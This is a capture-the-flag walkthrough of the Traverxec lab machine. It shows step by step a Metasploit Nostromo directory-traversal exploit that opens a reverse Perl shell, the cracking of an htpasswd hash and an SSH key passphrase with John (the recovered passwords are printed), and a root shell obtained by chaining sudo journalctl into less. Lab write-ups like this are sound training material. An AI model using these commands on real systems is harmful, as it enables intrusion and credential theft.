Walkthru for Traverxec

This is a detailed walk-thru for Traverxec, written by dR1PPy.

The challenge provided by Traverxec covers a good range exploits chained with bad system administration.
In other words it provides a pretty good real world experience. Much thanks to jkr for the challenge.


We start with our standard NMAP scan and find the usual suspects when it comes to network services.


host port proto name state info
---- ---- ----- ---- ----- ---- 22 tcp ssh open OpenSSH 7.9p1 Debian 10+deb10u1 protocol 2.0 80 tcp http open nostromo 1.9.6

Gaining Access

From our scan we note the HTTP server is Nostromo
A quick search shows us a Metasploit module that may be able to gives us a quick shell

search nostromo

Matching Modules

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/nostromo_code_exec 2019-10-20 good Yes Nostromo Directory Traversal Remote Command Execution

msf5 exploit(linux/http/webmin_packageup_rce) > use exploit/multi/http/nostromo_code_exec
msf5 exploit(multi/http/nostromo_code_exec) > show options

Module options (exploit/multi/http/nostromo_code_exec):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 80 yes The target port (TCP)
SRVHOST yes The local host to listen on. This must be an address on the local machine or
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host

Payload options (cmd/unix/reverse_perl):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 7007 yes The listen port

Exploit target:

Id Name
-- ----
0 Automatic (Unix In-Memory)

msf5 exploit(multi/http/nostromo_code_exec) > set RHOSTS
msf5 exploit(multi/http/nostromo_code_exec) > set LHOST
msf5 exploit(multi/http/nostromo_code_exec) > set LPORT 7007
LPORT => 7007
msf5 exploit(multi/http/nostromo_code_exec) > run
[*] Started reverse TCP handler on
[*] Configuring Automatic (Unix In-Memory) target
[*] Sending cmd/unix/reverse_perl command payload
[*] Command shell session 2 opened ( -> at 2019-11-20 13:53:06 -0700
python -c 'import pty; pty.spawn("/bin/bash")'

From here we start our enumeration.
And in the web server config we make note of a password file.

www-data@traverxec:/var/nostromo/conf$ cat nhttpd.conf
cat nhttpd.conf

servername traverxec.htb
serverlisten *
serveradmin david@traverxec.htb
serverroot /var/nostromo
servermimes conf/mimes
docroot /var/nostromo/htdocs
docindex index.html


logpid logs/


user www-data


htaccess .htaccess
htpasswd /var/nostromo/conf/.htpasswd


/icons /var/nostromo/icons


homedirs /home
homedirs_public public_www

We confirm the file exists and contains a password hash.

cat /var/nostromo/conf/.htpasswd

We paste our hash into a text file and ask John to crack it.

john --wordlist=rockyou.txt htpasswd
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Nowonly4me (david)
1g 0:00:01:58 DONE (2019-11-20 14:13) 0.008433g/s 89209p/s 89209c/s 89209C/s Noyoudo..Nous4=5
Use the "--show" option to display all of the cracked passwords reliably
Session completed

After a few minutes we get our cracked password and our user token.

Now again from the configuration of the nhttpd.conf file we see that users /home directories are being served by the web server.
Seems we cant access the folder thru the WWW frontend directly.

We also have no luck listing items in the home folder.

www-data@traverxec:/usr/bin$ cd /home
cd /home
www-data@traverxec:/home$ ls
www-data@traverxec:/home$ ls david/
ls david/
ls: cannot open directory 'david/': Permission denied
www-data@traverxec:/home$ ls -lha david/user.txt
ls -lha david/user.txt
-r--r----- 1 root david 33 Oct 25 16:14 david/user.txt

So it seems we can list files if we know the path & name but we can’t list all files.
Again referencing the nhttpd.conf file we see the /home is mapped to a public_www folder.

Let’s see if we can access that directly.

www-data@traverxec:/home$ ls david/public_www/
ls david/public_www/
index.html protected-file-area
www-data@traverxec:/home$ ls -lha david/public_www/protected-file-area
ls -lha david/public_www/protected-file-area
total 16K
drwxr-xr-x 2 david david 4.0K Oct 25 17:02 .
drwxr-xr-x 3 david david 4.0K Oct 25 15:45 ..
-rw-r--r-- 1 david david 45 Oct 25 15:46 .htaccess
-rw-r--r-- 1 david david 1.9K Oct 25 17:02 backup-ssh-identity-files.tgz

We now know the proper file name to request.
Back to the web service we do some tweaking and are able to find the proper URL to the corresponding backup file.


Now we use the downloaded keys to SSH into the host and quickly get the User flag.

/usr/share/john/ /TARGET/david_id_rsa > /TARGET/david_id_rsa.hash
john --wordlist=/usr/share/wordlists/rockyou.txt /TARGET/david_id_rsa.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 8 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
hunter (/TARGET/david_id_rsa)
Warning: Only 2 candidates left, minimum 8 needed for performance.
1g 0:00:00:08 DONE (2019-11-21 18:49) 0.1207g/s 1732Kp/s 1732Kc/s 1732KC/sa6_123..*7¡Vamos!
Session completed

ssh -i david_id_rsa david@
Enter passphrase for key 'david_id_rsa':
Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64
david@traverxec:~$ pwd
david@traverxec:~$ ls -lha user.txt
-r--r----- 1 root david 33 Oct 25 16:14 user.txt

Privilege Escalation

A quick enumeration of the users home directory shows us a possible path to escalation.

david@traverxec:~/bin$ pwd
david@traverxec:~/bin$ ls -lha
total 16K
drwx------ 2 david david 4.0K Oct 25 16:26 .
drwx--x--x 5 david david 4.0K Oct 25 17:02 ..
-r-------- 1 david david 802 Oct 25 16:26 server-stats.head
-rwx------ 1 david david 363 Oct 25 16:26
david@traverxec:~/bin$ cat server-stats.*
.---------. | == |
Webserver Statistics and Data |.-"""""-.| |----|
Collection Script || || | == |
(c) David, 2019 || || |----|
|'-.....-'| |::::|
'"")---(""' |___.|
/:::::::::::\" "
jgs '"""""""""""""'


cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat

Hello SUDO, it's nice to see you again!
A quick search of GTFOBins reveals we can use this to get shell

After trying variations of the items on those pages we are unable to get a shell
But we do find that we are able to use other pager type programs to chain into which gives us more options

We see we are able to stop the script by chaining into less
So we try the following combination, which finally gives us our root shell access

/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service && VISUAL="/bin/sh -c '/bin/sh'" less /etc/profile


We grab our flag and enjoy a cold drink to celebrate.


Nostromo Dir Traversal RCE


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